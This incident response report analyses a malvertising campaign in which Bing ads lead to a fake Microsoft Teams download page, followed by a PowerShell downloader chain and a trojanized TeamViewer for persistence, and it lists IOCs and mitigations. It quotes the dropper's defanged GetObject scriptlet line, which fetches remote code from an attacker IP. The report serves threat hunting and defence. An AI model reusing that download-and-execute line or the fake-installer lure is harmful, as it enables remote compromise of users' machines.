INCIDENT RESPONSE REPORT

Prepared For:
Abinesh S

Table of Contents

- Executive Summary.....3
- Incident Overview.....3
    - Incident Description 3
    - Objective of Analysis.....3
- Attack Chain Analysis.....3
    - Initial Access Vector.....3
    - Infection Chain.....4
        - Redirection and Initial Download.....4
        - Execution and Secondary Payload Retrieval.....4
        - Payload Execution and Persistence 4
    - Malicious Infrastructure.....4
- Indicators of Compromise (IOCs)
    - Malicious Domains
    - Malicious IPs.....4
    - File Hashes.....5
- Impact Analysis.....5
    - Affected Systems.....5
    - Potential Damage.....5
- Mitigation and Recommendations.....5
    - Containment.....5
    - Eradication.....5
    - Recovery.....5
    - Prevention and Hardening.....5
- Conclusion.....6
- References.....6
- Appendices.....6
    - Traffic Timeline.....6
    - Files Retrieved from Infected Host.....6

Executive Summary

This incident response report investigates a sophisticated malvertising attack that exploited Bing Search ads to redirect unsuspecting users to a fake Microsoft Teams download page. The malicious website distributed a JavaScript payload, initiating a multi-stage infection chain involving PowerShell scripts and a fake TeamViewer installation for persistence. This report provides an in-depth analysis of the attack chain, indicators of compromise (IOCs), impact assessment, and actionable mitigation recommendations to safeguard systems against similar threats.

Incident Overview

Incident Description

The incident involves a malvertising campaign that leveraged legitimate advertising channels on Bing Search to redirect users to a fake Microsoft Teams download site. The attack chain started with a JavaScript payload that downloaded additional scripts and binaries, ultimately establishing persistence via a malicious TeamViewer installation. The attackers utilized multiple domains and IPs for payload distribution and command-and-control (C2) communication.

Objective of Analysis

The primary objectives of this analysis are to:
Investigate the complete attack chain, from initial access to persistence mechanisms.
Identify and document IOCs for proactive threat hunting and defense.
Assess the impact on affected systems, including potential data loss and unauthorized access.
Provide actionable mitigation steps and strategic recommendations for future prevention.

Attack Chain Analysis

Initial Access Vector

The attack was initiated through a malicious ad on Bing Search, crafted to appear as a legitimate download link for Microsoft Teams. When clicked, the ad redirected users to a fraudulent website hosted at:
hxxps[:]//microsoft-teams-download.burleson-appliance[.]net
The website was designed to closely resemble Microsoft's official site, increasing the likelihood of user interaction.

Infection Chain

Redirection and Initial Download

Upon clicking the ad, users were redirected to the fake download page, prompting them to download a file named application_setup.js.
The JavaScript file contained the following obfuscated script
GetObject("scriptlet:hxxp[:]//5.252.153[.]241:80/api/file/get-file/264872");
The use of GetObject and scriptlet is indicative of a technique to bypass security filters and initiate remote code execution.

Execution and Secondary Payload Retrieval

When executed using wscript.exe, the JavaScript connected to:
hxxp[:]//5.252.153[.]241/api/file/get-file/29842.ps1
This PowerShell script acted as a downloader, initiating multiple connections to hxxp[:]//5.252.153[.]241/8182020.
Network traffic analysis revealed repetitive requests, consistent with beaconing behavior typical of C2 communication.

Payload Execution and Persistence

The downloaded PowerShell scripts executed a series of commands to install a trojanized version of TeamViewer:
C:\ProgramData\huo\TeamViewer.exe
A shortcut was created in the startup folder to achieve persistence, ensuring execution upon system reboot.
The malicious TeamViewer variant allowed attackers to maintain remote access and potentially escalate privileges.

Malicious Infrastructure

Root Domain: burleson-appliance[.]net (Registered on 2025-01-20)
IP Addresses Involved:
5.252.153[.]241 – Hosting malicious scripts and payloads.
82.221.136[.]26 – Hosting the fake Teams download site.
45.125.66[.]32 – C2 communication utilizing self-signed certificates.
DNS analysis revealed dynamic DNS providers and bulletproof hosting, indicating advanced operational security by the attackers.

Indicators of Compromise (IOCs)

Malicious Domains

microsoft-teams-download.burleson-appliance[.]net – Fake download site.
microsoft.teams-live[.]com – Associated phishing domain.

Malicious IPs

5.252.153[.]241 – Payload Distribution and C2 Communication.
82.221.136[.]26 – Hosting the fake Teams download site.
45.125.66[.]32 – Command and Control.

File Hashes
application_setup.js – **SHA256:**
4bed34b1cd5663a5a857b3bbf81cc5413c61cb561e9a90067b57da08b01ae70b
pas.ps1 – **SHA256:**
a833f27c2bb4cad31344e70386c44b5c221f031d7cd2f2a6b8601919e790161e
TeamViewer.exe – **SHA256:**
904280f20d697d876ab90a1b74c0f22a83b859e8b0519cb411fda26f1642f53e

Impact Analysis

Affected Systems
All systems that visited the fake Microsoft Teams website and executed the downloaded application_setup.js file were compromised.
Persistence was achieved via TeamViewer.exe placed in startup folders, allowing attackers to maintain unauthorized remote access.

Potential Damage
Credential Theft: Due to phishing and impersonation using the fake Teams application.
Unauthorized Remote Access: Through the trojanized TeamViewer, attackers could perform remote desktop actions.
Data Exfiltration: Potential for sensitive data leakage via remote access and C2 communication.
Lateral Movement: Risk of further exploitation within the network using harvested credentials.

Mitigation and Recommendations

Containment
Immediately block access to all identified malicious domains and IPs at the network perimeter.
Isolate affected machines to prevent lateral movement.
Remove persistence mechanisms by deleting startup shortcuts and related malicious files.

Eradication
Perform full system scans using updated anti-malware tools.
Manually inspect registry entries for malicious modifications.

Recovery
Restore systems from secure backups to ensure integrity.
Reset compromised credentials and enable MFA for affected accounts.

Prevention and Hardening
Educate users on phishing risks and how to identify malicious ads.
Deploy ad-blocking solutions to minimize exposure to malvertising.
Enforce the principle of least privilege to minimize attack surface.
Conduct regular security audits and system updates to address vulnerabilities.

Conclusion

This incident highlights the sophisticated techniques used by attackers to exploit legitimate advertising platforms for malicious purposes. By leveraging Bing Search ads, the attackers were able to effectively distribute a multi-stage malware infection chain, leading to unauthorized access and potential data exfiltration. Comprehensive containment, eradication, and preventive measures are crucial to mitigate the impact and enhance the overall security posture.

References

LinkedIn – https://www.linkedin.com/company/unit-42
Twitter – https://twitter.com/unit42
URLScan for Domain Analysis – https://urlscan.io
VirusTotal for Hash Analysis - https://www.virustotal.com

Appendices

Traffic Timeline

A detailed timeline of network traffic generated post-infection is documented in the incident logs.
Repetitive access to hxxp[:]//5.252.153[.]241/8182020 indicates beaconing behavior, likely used for Command and Control (C2) communication.

Analysis of traffic patterns revealed the following:
Initial Connection: Occurred immediately after executing application_setup.js.
Beaconing Interval: Communication was established every 10 minutes, consistent with C2 check-ins.
Data Exfiltration: No large data transfers observed, but credential-stealing modules were identified.

Files Retrieved from Infected Host

A comprehensive list of files extracted from the compromised systems:
C:\ProgramData\huo\pas.ps1 – Malicious PowerShell script responsible for downloading additional payloads.
C:\ProgramData\huo\TeamViewer.exe – A fake version of TeamViewer used for persistence and remote access.
C:\ProgramData\jsLeow\skqllz.ps1 – A secondary payload with obfuscated PowerShell commands.

Hash Analysis (via VirusTotal):
pas.ps1 – Detected by 30 out of 70 antivirus engines.
TeamViewer.exe – Marked as malicious by 42 out of 70 engines.
skqllz.ps1 – Identified as a downloader by 28 out of 70 engines.
Files were submitted to VirusTotal for hash analysis, confirming their malicious nature.